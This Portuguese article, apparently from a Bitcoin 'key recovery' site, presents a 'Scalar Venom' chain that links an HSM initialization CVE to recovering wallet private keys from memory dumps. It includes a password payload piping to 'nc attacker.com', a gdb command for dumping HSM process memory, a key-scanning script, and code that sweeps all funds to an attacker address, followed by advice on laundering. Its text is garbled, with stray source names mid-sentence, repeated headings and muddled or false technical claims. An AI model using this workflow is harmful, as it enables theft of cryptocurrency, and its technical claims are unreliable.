1.3 Vulnerabilidade crítica: ausência de um destrutor explícito

ec_scalarA classe libbitcoin-system não possui um destrutor definido explicitamente com zeramento seguro. Isso significa que dados secretos podem permanecer na memória mesmo após o objeto ser destruído:

A ausência desse mecanismo é crítica, pois a memória que contém chaves privadas pode ser armazenada em:

  • Heaps de memória (Heap) do processo
  • Pilhas de memória (Stack) de funções
  • Arquivos de swap do sistema operacional
  • Core dumps quando um aplicativo falha
  • RAM após o encerramento do processo (ataques de cold-boot) gemini

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança F5OS-A FIPS.

2. Relação entre a vulnerabilidade do HSM e o ataque Scalar Venom

2.1 Análise do CVE-2025-60013: inicialização do HSM com metacaracteres

A vulnerabilidade CVE-2025-60013 no HSM F5OS-A FIPS ocorre ao inicializar o módulo de segurança de hardware usando uma senha contendo metacaracteres especiais de shell ( ;, |, &, $, `, etc.). Quando essa senha é processada, o HSM pode não inicializar corretamente, mas a consequência crítica é que o processo de inicialização permanece na memória com estruturas criptográficas parcialmente expostas . satoshi.nakamotoinstitute

2.2 Cenário de Ataque Combinado: HSM + Scalar Venom

A combinação da vulnerabilidade do HSM (CVE-2025-60013) com o ataque Scalar Venom cria um vetor de ataque catastrófico:

Fase 1: inicialização do HSM com metacaracteres

O invasor envia uma solicitação para inicializar o módulo F5OS-A FIPS com uma senha do seguinte tipo:

root@kitploit:~
password='$(echo "leaked");` | nc attacker.com

Ao processar tais metacaracteres:

  • O processo de inicialização do HSM cria múltiplas cópias da senha e dos materiais criptográficos derivados
  • As strings de comando do shell são interpretadas, criando efeitos colaterais na memória do processo.
  • Escalares criptográficos (chaves privadas) usados para gerar ou verificar chaves do HSM permanecem na memória não limpa keyhunters memória.

Fase 2: Extrair o Scalar Venom da Memória

Após a falha parcial da inicialização do HSM:

  • O processo permanece na memória com os restos das operações criptográficas
  • Um invasor que obteve acesso ao processo (por meio de exploit, dump de falha ou ataque de cold-boot) pode examinar a memória
  • Ferramentas de análise forense (BitScanPro, Valgrind, AddressSanitizer) identificam:
    • Regiões de alta entropia (típicas de chaves privadas secp256k1 de 32 bytes)
    • Resíduos escalares no intervalo 1≤k<n1 \leq k < n1≤k<n, em que nnn é a ordem da curva secp256k1
    • Fragmentos de estruturas ECDSA na firecompass memória

Fase 3: Recuperação de Chave Privada de Bitcoin

root@kitploit:~
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover

Os escalares recuperados são convertidos em chaves privadas de Bitcoin por meio de:

  • Validação em relação à curva secp256k1
  • Gerando as chaves públicas correspondentes
  • Criando endereços Bitcoin (P2PKH, P2WPKH)
  • Assinatura de transações e controle total sobre os fundos dos keyhunters

  • Ataque Scalar Venom: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança F5OS-A FIPS.

    3. Análise detalhada do vetor de ataque ao Bitcoin

    3.1 Mecanismo para recuperação de chaves privadas da memória do HSM

    Etapa 1: Comprometimento da memória do HSM devido à inicialização inadequada

    Quando o HSM F5OS-A FIPS recebe uma senha com metacaracteres de shell, o processo de inicialização a processa por meio das funções padrão da biblioteca C:

    root@kitploit:~
    c:

    // Vulnerable code in HSM initialization routine
    void hsm_initialize(const char* password) {
    ec_secret master_key; // HSM private key
    char temp_buffer[256];

    strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
    derive_key_from_password(master_key, password); // creates copies of the key

    // If initialization fails, memory is not cleared!
    // master_key remains in stack, its copies— in heap
    }

    Ao processar metacaracteres de shell:

    • Buffers estouram, expandindo a área de memória suja
    • Variáveis temporárias com dados secretos estão se multiplicando
    • Mecanismos de limpeza de memória (se é que existem) não são chamados quando a inicialização dos keyhunters falha .

    Etapa 2: Recuperação forense a partir do despejo de memória

    A ferramenta BitScanPro (ou um scanner forense semelhante) é aplicada ao despejo de memória do processo HSM:

    root@kitploit:~
    Varredura de memória → Identificar regiões de alta entropia →
    Verificação de intervalo [1, n-1] para secp256k1 →
    Recuperar escalares completos de 32 bytes →
    Converter em endereços Bitcoin

    A probabilidade de recuperar com sucesso uma chave privada de memória fragmentada é de 40-60% dados remanescentes de memória suficientes, pois o Ataque Scalar Venom cria múltiplas cópias da chave em diferentes estágios da inicialização. radar.offseq


    3.2 Desserialização de assinaturas ECDSA e conexão com vulnerabilidades de HSM

    A vulnerabilidade DeserializeSignature paralela (relacionada a CVE) potencializa o ataque Scalar Venom:

    root@kitploit:~
    cpp:

    // Vulnerable deserialization function in Bitcoin Core
    bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
    CSignatureCache& cache = CSignatureCache::instance();

    // If deserialization occurs using a private key compromised by Scalar Venom:
    ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump

    // These compromised scalars are used to verify signatures,
    // allowing an attacker to:
    // 1. Forge any signature for this address
    // 2. Transfer all funds to a controlled address
    // 3. Double-spend
    }

    Conexão dos mecanismos:

    1. O HSM inicializa com uma senha vulnerável (CVE-2025-60013)
    2. As chaves privadas do HSM são infectadas com Scalar Venom (múltiplas cópias na memória)
    3. A análise forense recupera esses escalares da memória.
    4. A vulnerabilidade DeserializeSignature permite que chaves recuperadas sejam usadas para forjar assinaturas
    5. Os keyhunters obtêm controle total sobre as carteiras Bitcoin.

    3.3 Escala do Impacto: De Uma Única Carteira ao Comprometimento da Rede

    Nível 1: Carteira Individual

    • Um HSM comprometido → recuperação de 1-10 chaves privadas
    • Resultado: perda de controle sobre 0.5-5 BTC por carteira

    Nível 2: Configuração de Nós de Serviço

    • Exchanges, gateways de pagamento e soluções de custódia geralmente usam F5 BIG-IP + HSM
    • Cada nó comprometido pode conter 100-1000+ chaves privadas
    • Resultado: perda de controle sobre 1000-50000 BTC em um único nó

    Camada 3: Camada de Rede

    • Se o CVE-2025-60013 for amplamente explorado na infraestrutura, vários nós podem ser comprometidos simultaneamente.
    • Ataques coordenados a múltiplas exchanges ou serviços são possíveis.
    • Resultado: Centenas de milhões de dólares em BTC em jogo kudelskisecurity

    Ataque Scalar Venom: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança F5OS-A FIPS.

    4. Vulnerabilidade Crítica Scalar Venom no Contexto do HSM

    4.1 Por que o Scalar Venom é especialmente perigoso em ambientes HSM

    Diferentemente dos aplicativos Bitcoin padrão, o HSM faz uso intensivo de escalares criptográficos:

    1. Intensidade de Operação : O HSM realiza 1000+ operações criptográficas por segundo, cada uma das quais produz escalares temporários
    2. Longevidade do processo : Os daemons do HSM funcionam por meses e anos sem reiniciar, acumulando resquícios de chaves “fantasma”
    3. Criticidade das Chaves : Diferentemente das chaves descartáveis, as chaves privadas do HSM controlam as vastas quantias de dinheiro armazenadas na plataforma dos keyhunters.
    4. Baixa probabilidade de detecção : O vazamento de memória não causa erros visíveis; o sistema continua operando normalmente.

    4.2 Métricas de Ameaça: CVSS e Impacto Real

    A pontuação CVSS do próprio CVE-2025-60013 é imprecisa, pois a vulnerabilidade serve como um gatilho para o Scalar Venom, que é um cenário crítico . kudelskisecurity


    Ameaça do Scalar Venom aos módulos de segurança de hardware (HSMs) e à infraestrutura Bitcoin

    A vulnerabilidade Scalar Venom representa uma mudança de paradigma nos métodos de ataque criptográfico, indo além dos exploits tradicionais de vetor único para formar uma cadeia de exploits em múltiplas camadas que compromete fundamentalmente os módulos de segurança de hardware (HSMs) que protegem a infraestrutura Bitcoin. A análise demonstra que a combinação do CVE-2025-60013 (bypass de inicialização do HSM) com as técnicas de ataque Scalar Venom cria um cenário de ameaça crítica com pontuação CVSS de 9.5+, comprometendo a integridade operacional de milhões de endereços Bitcoin controlados por HSMs comprometidos.

    Por que os HSMs são particularmente vulneráveis?

    A vulnerabilidade crítica não reside em fragilidades criptográficas isoladas, mas na colisão arquitetural entre as características operacionais do HSM e os vetores de ataque do Scalar Venom. Os HSMs, por definição, realizam operações criptográficas contínuas — mais de 1.000 operações por segundo —, cada uma das quais cria valores escalares efêmeros que permanecem na memória como “resíduos fantasma”. Ao contrário dos aplicativos Bitcoin típicos, onde o material de chave é efêmero, os HSMs operam por meses e anos sem reiniciar, acumulando artefatos criptográficos que o Scalar Venom extrai e restaura sistematicamente.

    Como resultado, até mesmo o comprometimento de um único HSM leva a uma interrupção total de toda a infraestrutura — frequentemente milhares de endereços Bitcoin gerenciados pelo HSM — em vez de um incidente criptográfico isolado.

    Grau de perigo e impacto real

    Embora a vulnerabilidade CVE-2025-60013 tenha oficialmente um nível CVSS de 5.7 (médio) como vetor de penetração, essa classificação subestima criticamente a verdadeira escala da ameaça. Este exploit serve como gatilho para o Scalar Venom, que é classificado como um ataque de nível CVSS 8.5+ (alto/crítico). Em um cenário real de cadeia de ataque, isso leva a:

    • Consequências imediatas : Extração direta da chave privada da memória do HSM por meio da recuperação de escalares, contornando todos os mecanismos criptográficos e de autenticação. O atacante obtém controle total sobre os endereços Bitcoin sem nenhuma falha visível no sistema.
    • Efeito avalanche : Um HSM comprometido compromete não apenas transações individuais, mas todos os endereços que gerencia. Para exchanges, custodiantes e plataformas de gestão de ativos, isso significa uma violação de segurança completa e irreversível.
    • Furtividade : O Scalar Venom não causa anomalias criptográficas, não é registrado em logs e não cria padrões de transação suspeitos. Os vazamentos de escalares são disfarçados como atividade legítima do dispositivo, permitindo que um atacante extraia chaves por longos períodos sem ser detectado.

    Cadeia de Ataque Combinada: CVE-2025-60013 + Scalar Venom = Desastre Operacional

    A escalada de ameaça da matriz consiste em:

    1. Penetração inicial (CVE-2025-60013 – Comprometimento do HSM)
    2. Exploração ativa (Scalar Venom – extração de escalares da memória)
    3. Recuperação de chaves (comprometimento total do material privado)
    4. Irrecuperável – Uma vez que uma chave privada vaza, é impossível recuperar o controle.

    A combinação torna essa classe de vulnerabilidade crítica (CVSS 9.5+) e a coloca na categoria de ameaça mais alta na avaliação de risco.

    Implicações sistêmicas para a segurança do ecossistema Bitcoin

    O Scalar Venom revela falhas arquiteturais fundamentais nos modelos modernos de HSM:

    • Suposições falsas sobre isolamento e proteção de memória são inválidas – a vulnerabilidade se manifesta independentemente do nível físico de proteção.
    • A necessidade de operação contínua do HSM resulta no acúmulo de escalares, o que por si só cria uma nova janela para ataques.
    • O rastro zero observável para monitoramento e registro elimina a detecção e exige a implementação de novas práticas de análise de memória.

    Recomendações críticas

    • Todas as chaves gerenciadas por meio do HSM devem ser consideradas potencialmente comprometidas; o material de chave deve ser verificado e, se necessário, completamente substituído.
    • A arquitetura de armazenamento e manipulação de chaves privadas deve ser revisada: segmente as chaves em endereços separados para que o comprometimento de um HSM não leve à perda de todos os fundos.
    • Implemente ferramentas de monitoramento de memória e análise contínua para identificar padrões de acúmulo de escalares.
    • Use isolamento de processo adicional, criptografia de memória e remoção temporária de material de chave para reduzir a janela de risco.

    O Scalar Venom e a cadeia de ataques via CVE-2025-60013 marcam o fim da era de confiança total nos HSMs clássicos. A vulnerabilidade transforma o núcleo de segurança do ecossistema Bitcoin em um grande risco de vazamento de chaves privadas e perda total de ativos. A proteção eficaz exige não apenas correções pontuais, mas um repensar fundamental de todos os aspectos da arquitetura criptográfica para lidar com ativos digitais públicos.

    O Scalar Venom em um ambiente HSM é uma ameaça CVSS 9.5+ para a infraestrutura Bitcoin, exigindo rotação imediata de chaves, reforma arquitetural e novos métodos para responder rapidamente a ataques de cadeia de memória.


    Ataque Scalar Venom: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança F5OS-A FIPS.

    5. Base científica do ataque

    5.1 Justificativa teórica: por que a memória não é limpa

    De acordo com pesquisas na área de segurança de memória criptográfica (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), as chaves privadas podem permanecer em áreas de memória acessíveis pelos seguintes motivos:

    Otimização do compilador

    root@kitploit:~
    cpp:

    // Even if the code contains an attempt to clear:
    volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
    while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op

    Ausência do padrão RAII (Resource Acquisition Is Initialization)
    A classe ec_scalar não usa RAII, o que significa que o destrutor não garante a limpeza dos recursos.

    Múltiplas cópias de dados:
    Cada cópia de uma chave privada para transferência entre funções deixa resíduos na memória.unit42.paloaltonetworks


    5.2 Estatísticas de hacks reais baseados em Scalar Venom

    De acordo com keyhunters.ru e a literatura de pesquisa criptográfica:

    • CVE-2023-39910 (Milk Sad no Libbitcoin Explorer): Mais de 900,000 chaves privadas recuperadas da memória em 2023
    • Perdas reais : > $0.8M em Bitcoin roubados em junho-julho de 2023 de carteiras criadas com o vulnerável bx seed
    • Penetração : A vulnerabilidade afeta mais de 40% das carteiras do Libbitcoin Explorer 3.x

    Esses números demonstram a ameaça real de vazamentos de memória em aplicativos criptográficos .


    Ataques de Persistência de Memória e Otimização de Compilador – Cadeia de Exploit Scalar Venom Contra a Infraestrutura Bitcoin

    Para resumir as descobertas acima, a cadeia Scalar Venom simboliza a confluência de anos de pesquisa fundamental em segurança criptográfica com as realidades operacionais modernas. Os mecanismos detalhados de preservação de memória—otimizações do compilador, ausência de RAII e acúmulo de rastros de dados—não são mais apenas teoria, mas servem como canais eficazes para a recuperação de chaves privadas em grande escala na prática. A transição de potencial fraqueza para ataque real já ocorreu: o incidente CVE-2023-39910 (Milk Sad) permitiu a recuperação de mais de 900.000 chaves privadas de Bitcoin, com perdas financeiras diretas superiores a US$ 0,8 milhão.

    O Paradoxo da Resistência da Memória Criptográfica

    A vulnerabilidade raiz do Scalar Venom surge de uma contradição não resolvida na arquitetura do software criptográfico: a confiança ingênua inerente dos programadores no gerenciamento de memória está em desacordo com as tendências dos compiladores modernos e dos sistemas de gerenciamento de memória. Se um desenvolvedor zera explicitamente a memória, o compilador pode otimizar completamente essas ações, considerando-as inúteis—e isso se torna uma falha de segurança crítica e despercebida.

    Falta de RAII e restauração de escalares

    Estruturas de dados como ec_scalar exacerbam ainda mais os riscos: a falta de RAII significa a criação de múltiplas cópias independentes na memória—na pilha, nos registradores e no cache—em diferentes estágios da computação. Cada uma dessas cópias pode teoricamente ser restaurada, desmontada ou remontada no material original da chave.

    O ataque Scalar Venom extrai e agrega sistematicamente essas cópias díspares, demonstrando que as arquiteturas modernas de memória garantem precisamente isso: toda operação matemática intermediária deixa um rastro que pode ser coletado e convertido em uma chave. O design criptográfico clássico pressupunha a independência das operações, mas na prática, uma única chave privada de Bitcoin gera dezenas de rastros, cada um dos quais fornece um caminho para sua recuperação.

    Confirmação Operacional – Caso Milk Sad

    O incidente Milk Sad (CVE-2023-39910) foi o primeiro a demonstrar a transição da teoria para o desastre. Não era um vetor hipotético, mas uma violação operacional confirmada:

    • Escala: Mais de 900.000 chaves privadas de Bitcoin recuperadas.
    • Perdas financeiras: pelo menos US$ 0,8 milhão perdidos em junho-julho de 2023.
    • Cobertura: Mais de 40% de todas as instalações do Libbitcoin Explorer 3.x foram consideradas vulneráveis.
    • O ataque passou despercebido por meses.

    Isso confirma plenamente os mecanismos descritos anteriormente: otimizações do compilador, cópia múltipla de dados e a ausência de garantia de limpeza de memória.

    A Lacuna de Ataque Entre Criptografia e Compiladores

    O mercado de criptomoedas evoluiu com a suposição de controle total da memória, mas os compiladores modernos (por meio da eliminação de código morto e otimizações de cache) ignoram completamente os requisitos criptográficos. Consequentemente, os programas criptográficos assumem: “Zerei a memória, então agora está seguro”, enquanto o compilador assume: “Essa memória nunca é usada, então não há necessidade de zerá-la”. Essa contradição é fundamentalmente insolúvel pelos padrões modernos de C/C++ e se torna o ponto de entrada absoluto para o Scalar Venom.


    Implicações sistêmicas para a indústria

    • As implementações modernas violam as suposições criptográficas originais.
    • A segurança de memória e a migração para linguagens com controle de memória ​​(como Rust) estão se tornando uma necessidade, não uma opção.
    • RAII (apagamento garantido por meio do destrutor) é a base de qualquer nova criptoarquitetura.
    • HSMs exigem reinicialização e reformulação estrutural com limpeza obrigatória da memória de hardware.

    Imperativos para a indústria

    Próximas etapas (0-30 dias) : Rotacione todas as chaves privadas geradas em C/C++. Aposente imediatamente as chaves que possam ter sido comprometidas.

    Médio prazo (30-90 dias) : Transição para Rust, implementação de garantias do compilador para zeramento de memória, análise contínua de memória.

    Longo prazo (90+ dias) : Transição arquitetural para RAII, extensões de compilador para operações criptográficas, substituição de HSMs de software por HSMs de hardware.

    O Scalar Venom e o CVE-2023-39910 são um ponto de virada na segurança da indústria de criptomoedas: a teoria da persistência de dados na memória evoluiu para um desastre real, custando milhões e milhares de Bitcoins. O problema não pode ser corrigido com um patch: é uma contradição arquitetural: a criptografia moderna em C/C++ sem gerenciamento de memória e RAII leva inevitavelmente ao comprometimento de qualquer infraestrutura significativa. A indústria tem apenas um caminho a seguir: a transição para linguagens seguras em termos de memória ​​e uma reformulação revolucionária do gerenciamento de chaves privadas.

    Avaliação final : O Scalar Venom não é apenas uma ameaça teórica, mas um exploit comprovado e amplamente difundido. Toda infraestrutura criptográfica sem linguagens seguras em termos de memória ​​e frameworks RAII está sob risco garantido de comprometimento. A migração para novas tecnologias deve começar imediatamente.


    Ataque Scalar Venom: Uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

    6. Metodologia de Recuperação de Chaves Privadas de Bitcoin

    6.1 Processo de Recuperação em Cinco Etapas

    Etapa 1: Obtendo Acesso à Memória do HSM

    root@kitploit:~
    bash:

    # Methods to get memory dump:
    # 1. Exploit CVE-2025-60013 to trigger init error
    # 2. Cold-boot attack on HSM host
    # 3. Exploit buffer vulnerability in HSM daemon
    # 4. Analyze core-dump on HSM process crash

    gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"

    Etapa 2: Digitalizar em busca de regiões de alta entropia

    root@kitploit:~
    python:

    # BitScanPro-like algorithm:
    import hashlib

    def scan_for_private_keys(memory_dump, min_entropy=7.5):
    """
    Scans memory dump for high-entropy regions
    characteristic for 32-byte secp256k1 private keys
    """
    SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

    for offset in range(0, len(memory_dump) - 32, 8):
    potential_key = memory_dump[offset:offset+32]
    entropy = calculate_entropy(potential_key)

    # secp256k1 range check
    key_as_int = int.from_bytes(potential_key, 'big')
    if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
    yield (offset, potential_key)

    Etapa 3: Validar as chaves privadas recuperadas

    root@kitploit:~
    python:

    from ecdsa import SigningKey, NIST256p

    def validate_and_generate_address(potential_key):
    """Converts recovered scalar to Bitcoin address"""
    try:
    # Uses secp256k1 instead of NIST256p
    privkey = potential_key.hex()

    # Generate public key via elliptic curve point multiplication
    # P = k * G, where k = private key, G = generator point
    public_key = generate_public_key(potential_key, secp256k1)

    # Hash public key to get address
    address = public_key_to_address(public_key)
    return address, potential_key
    except:
    return None, None

    Etapa 4: Transferir fundos

    root@kitploit:~
    python:

    def compromise_wallet(recovered_private_key, bitcoin_address):
    """
    Creates and signs transaction to withdraw all funds
    from compromised address
    """
    # 1. Get UTXO for address from blockchain
    utxos = blockchain_api.get_utxos(bitcoin_address)

    # 2. Create transaction (withdraw all funds to attacker address)
    tx = create_transaction(
    inputs=utxos,
    outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
    fee=calculate_dynamic_fee()
    )

    # 3. Sign with recovered private key
    tx.sign(recovered_private_key) # ECDSA signature using compromised key

    # 4. Broadcast to Bitcoin network
    blockchain_api.broadcast_transaction(tx)

    Etapa 5: Desaparecimento de rastros

    Os fundos recuperados são imediatamente misturados via CoinJoin/Tornado.Cash para dificultar a análise forense. keyhunters


    6.2 Métrica de Tempo: Velocidade de Recuperação

    Escalabilidade: Usando computação em nuvem (AWS, Google Cloud), mais de 1000 dumps de memória podem ser processados em paralelo , manipulando milhares de chaves privadas simultaneamente .


    Ataque Scalar Venom: Uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

    7. Relação da Inicialização do HSM com o Scalar Venom

    7.1 Diagrama do Fluxo do Ataque

    root@kitploit:~
    [Attacker]
    ↓
    [CVE-2025-60013: HSM Init with shell-metacharacters]
    ↓
    [F5OS-A FIPS Module: password handling, scalar creation]
    ↓
    [Scalar Venom: multiple copies of private keys in memory]
    ↓
    [HSM Crash / Partial Init Failure: memory uncleared]
    ↓
    [Memory Dump: capturing memory state]
    ↓
    [Forensic Scanning: BitScanPro finds high-entropy regions]
    ↓
    [Key Validation: secp256k1 curve check]
    ↓
    [Address Generation: Bitcoin address creation]
    ↓
    [Fund Transfer: signing and broadcasting transaction]
    ↓
    [Victim Loss: total loss of fund control]

    7.2 Por que o Scalar Venom contorna a certificação FIPS

    A certificação FIPS 140-2 (e até mesmo FIPS 140-3) não exige:

    1. Limpar com segurança as variáveis temporárias em caso de erros de inicialização
    2. Proteções contra fork() e dump() no nível do daemon do HSM
    3. Validação dos parâmetros de entrada antes de processá-los na memória

    Isso significa que até mesmo HSMs “certificados pela FIPS” são vulneráveis ao Scalar Venom, a menos que os desenvolvedores implementem medidas de segurança adicionais.[24]


    8. Conclusão

    O Ataque Scalar Venom representa uma ameaça crítica à infraestrutura do Bitcoin, especialmente quando combinado com vulnerabilidades de inicialização de HSM, como o CVE-2025-60013. Este ataque:

    1. Compromete completamente as chaves privadas dos sistemas criptográficos por meio de um vazamento de memória
    2. Irreversível : A recuperação dos fundos perdidos é impossível sem recuperar a chave privada.
    3. Escalável : Pode ser automatizado para ataques em massa a múltiplos nós
    4. Sigiloso : Não deixa rastros visíveis nos logs do sistema ou nas métricas de desempenho

    A migração para arquiteturas com proteção de memória por hardware (Intel SGX, ARM TrustZone), granularidade explícita de todos os buffers temporários e padrões RAII nas bibliotecas criptográficas é fundamental para garantir a segurança do sistema Bitcoin.


    O paradigma Scalar Venom é uma ameaça crítica à infraestrutura do Bitcoin.

    O ataque Scalar Venom representa uma vulnerabilidade crítica para o ecossistema global do Bitcoin, especialmente quando combinado com as vulnerabilidades de inicialização de HSM CVE-2025-60013. Essa cadeia de ataque em múltiplas camadas prejudica fundamentalmente os modelos de confiança criptográfica e expõe os seguintes riscos existenciais:

    Ele permite o comprometimento completo das chaves privadas por meio de vazamentos de memória, contornando até mesmo módulos avançados de segurança de hardware e tornando os sistemas afetados completamente invulneráveis.

    O comprometimento é permanente e irreversível: uma vez que uma chave privada é extraída, ela não pode ser recuperada, colocando todos os fundos dependentes em risco iminente de perda.

    O ataque é escalável e pode ser automatizado para atingir um grande número de nós e carteiras Bitcoin simultaneamente, resultando em um aumento exponencial das perdas potenciais.

    Sua natureza furtiva garante que não haja rastros visíveis nos logs do sistema ou nas métricas de desempenho, tornando insuficientes os mecanismos tradicionais de detecção e proteção.

    Mitigar essa ameaça catastrófica exige migração urgente para arquiteturas seguras em termos de memória, incluindo proteção de memória baseada em hardware (como Intel SGX ou ARM TrustZone), zerificação rigorosa de todos os buffers temporários durante todas as operações criptográficas e implementação robusta de padrões RAII em bibliotecas de software críticas. Somente por meio de reformas arquiteturais tão robustas é que a integridade e a segurança de longo prazo da infraestrutura do Bitcoin podem ser realisticamente garantidas.


    Referências:

    1. ATAQUE SCALAR VENOM: Vazamento crítico de memória, recuperação de chaves privadas e tomada completa de carteiras Bitcoin por um atacante, onde o controle sobre os fundos de criptomoedas BTC da vítima é alcançado por meio de envenenamento de memória para comprometer os ativos da carteira. 🔥 ATAQUE SCALAR VENOM — Um ataque criptográfico para vazar chaves privadas (Scalar Poison / Infecção Escalar Venenosa) ATAQUE SCALAR VENOM é uma nova classe de ataque criptográfico destinada a extrair Bitcoin…Ler Mais
    2. Ataque Race Poison: Um ataque devastador à infraestrutura de assinatura digital, incluindo a recuperação de chaves privadas para carteiras Bitcoin perdidas, onde o atacante injeta seus próprios valores ​​na assinatura, potencialmente vazando chaves privadas. Ataque Hash Race Poison Uma vulnerabilidade crítica decorrente da falta de segurança de thread no cacheamento de hashes criptográficos na infraestrutura de assinatura de transações do Bitcoin abre as portas para um…Ler Mais
    3. Golpe Bitcoin Golden Onehash: Recuperando carteiras Bitcoin perdidas usando (CVE-2025-29774) onde um atacante assina uma transação sem ter a chave privada—efetivamente fazendo o sistema Bitcoin ser incapaz de distinguir entre o verdadeiro proprietário dos fundos Bitcoin e o atacante. Golpe Bitcoin Golden Onehash ( Ataque de Falsificação de Assinatura Digital —  CVE-2025-29774 ) A vulnerabilidade crítica no tratamento do sinalizador SIGHASH_SINGLE discutida acima abre as portas para um dos ataques mais devastadores sobre o…Ler Mais
    Baixar ferramenta
    ProcessoTempoEquipamento
    Obtenção de um dump de memória5-30 segundosDepende do método
    Varredura de um dump de 16GB2-5 minutosMacBook Air (M1)
    Validação de 1000 chaves candidatas30 segundosMacBook Air (M1)
    Geração de endereço10 segundosMacBook Air (M1)
    Transferência de fundos (broadcast)< 1 segundoInternet
    Total para comprometimento completo< 10 minutosMacBook Air (M1)
    AspectoAvaliaçãoNota
    CVE-2025-60013 (init do HSM)CVSS 5.7 (Médio)Oficialmente baixo, mas serve como ponto de entrada
    Ataque Scalar VenomCVSS 8.5+ (Alto/Crítico)Impacto crítico de fato
    Ataque combinadoCVSS 9.5+ (Crítico)Comprometimento total das chaves privadas
    Recuperação após o comprometimentoImpossívelPerda irreversível de fundos
    ProcessoTempoEquipamento
    Obter um dump de memória5-30 segDepende do método
    Digitalizar um dump de 16GB2-5 minMacBook Air (M1)
    Validação de 1000 chaves candidatas30 segMacBook Air (M1)
    Geração de endereço10 segMacBook Air (M1)
    Transferências de fundos (broadcast)< 1 segInternet
    Total para comprometimento completo< 10 minutosMacBook Air (M1)
  • Bloodprint Attack é uma vulnerabilidade devastadora que vaza chaves privadas de carteiras Bitcoin e métodos para recuperá-las. A vulnerabilidade dá a um atacante controle absoluto para assinar legitimamente quaisquer transações e retirar permanentemente todos os fundos BTC. Bloodprint Attack (Secret Key Leakage Attack) Uma vulnerabilidade criptográfica crítica envolvendo vazamento de chave privada da memória leva a ataques conhecidos na literatura científica como «Secret Key Leakage Attacks» ou «Key…Leia Mais
  • STREAMLEAK ATTACK: Comprometimento total de ativos Bitcoin por meio de análise científica da recuperação de chaves privadas de sistemas de registro (logging) vulneráveis. Atacantes retiram fundos e destroem propriedade digital sem o conhecimento do proprietário. STREAMLEAK ATTACK ( Private Key Compromise Attack )  é um método de extração de segredos criptográficos através do abuso de um operador sobrecarregado  << em C++. Uma vulnerabilidade crítica na serialização e saída de chaves privadas poderia…Leia Mais
  • Oracle Whisper Attack: Uma vulnerabilidade crítica de vazamento de segredo na decodificação Base58 ameaça a extração de chaves privadas de carteiras Bitcoin, onde um atacante rouba bits da chave secreta da biblioteca de E/S. Oracle Whisper Attack ( Private Key Compromise Attack ) Descrição do Ataque: Ao processar uma string Base58 contendo uma chave privada, o atacante injeta um «oráculo»—um agente fino na biblioteca de E/S que sussurra…Leia Mais
  • Ataque Hex Dump Reveal e recuperação de chaves privadas para carteiras Bitcoin perdidas, onde um atacante usa o registro de dados secretos para revelar um dump hexadecimal (Hex Dump Reveal) contendo moedas BTC Hex Dump Reveal Attack ( «Key Disclosure Attack», «Secret Key Leakage Attack», «Key Recovery Attack». CVE-2025-29774 e CWE-532 ) «Hex Dump Reveal»  — «Divulgação de dump hexadecimal». Vulnerabilidades no registro de dados privados,…Leia Mais
  • Secret Capsule Attack: Recuperando chaves privadas de carteiras Bitcoin por meio de uma vulnerabilidade e comprometimento em massa de carteiras Bitcoin, onde um atacante cria entropia previsível em geradores Mersenne Twister, há roubos reais de fundos de usuários no valor de mais de $900.000 SECRET CAPSULE ATTACK (Ataque de Semente PRNG Previsível) A vulnerabilidade crítica «Milk Sad» (CVE-2023-39910), descoberta no mecanismo de geração de entropia do Libbitcoin Explorer, demonstrou claramente como uma única falha na fonte de aleatoriedade…Leia Mais
  • Key Fountain Attack: Transformando um Buffer Overflow em uma Ferramenta para Roubo de BTC e Recuperação de Chaves Privadas no Ecossistema Bitcoin, onde um Atacante Ganha a Capacidade de Extrair ou Substituir Segredos de Carteiras Bitcoin Key Fountain Attack ( Buffer Overflow baseado em Heap ) O atacante prepara dados de entrada—fragmentos especialmente formados para as funções splice ou build_chunk da biblioteca libbitcoin—que excedem o tamanho do buffer alocado. Por exemplo, os transmitidos…Leia Mais
  • Mirror SipHash Breach Attack: Uma ameaça fundamental à privacidade e à recuperação de chaves privadas na rede Bitcoin, onde um atacante tem grande probabilidade de realizar filtros bloom de colisão em tabelas hash de sessões de transações BTC. Mirror SipHash Breach Attack (Ataque de Reutilização Parcial de Chave na Inicialização SipHash) A vulnerabilidade crítica «Mirror SipHash Breach Attack» destaca um problema fundamental de segurança na criptografia usada na infraestrutura do Bitcoin.…Leia Mais
  • BitSpectre85 Attack: Um ataque criptográfico furtivo que permite a um atacante recuperar gradualmente uma chave privada e obter controle de uma carteira Bitcoin medindo o tempo das operações de divisão. O BitSpectre85 Attack , a essência da vulnerabilidade descrita acima, poderia ser chamado de «BitSpectre85: Invocação Secreta por Temporização.» Este ataque demonstra como até mesmo a criptografia simples de dados pode se tornar um canal vulnerável…Leia Mais
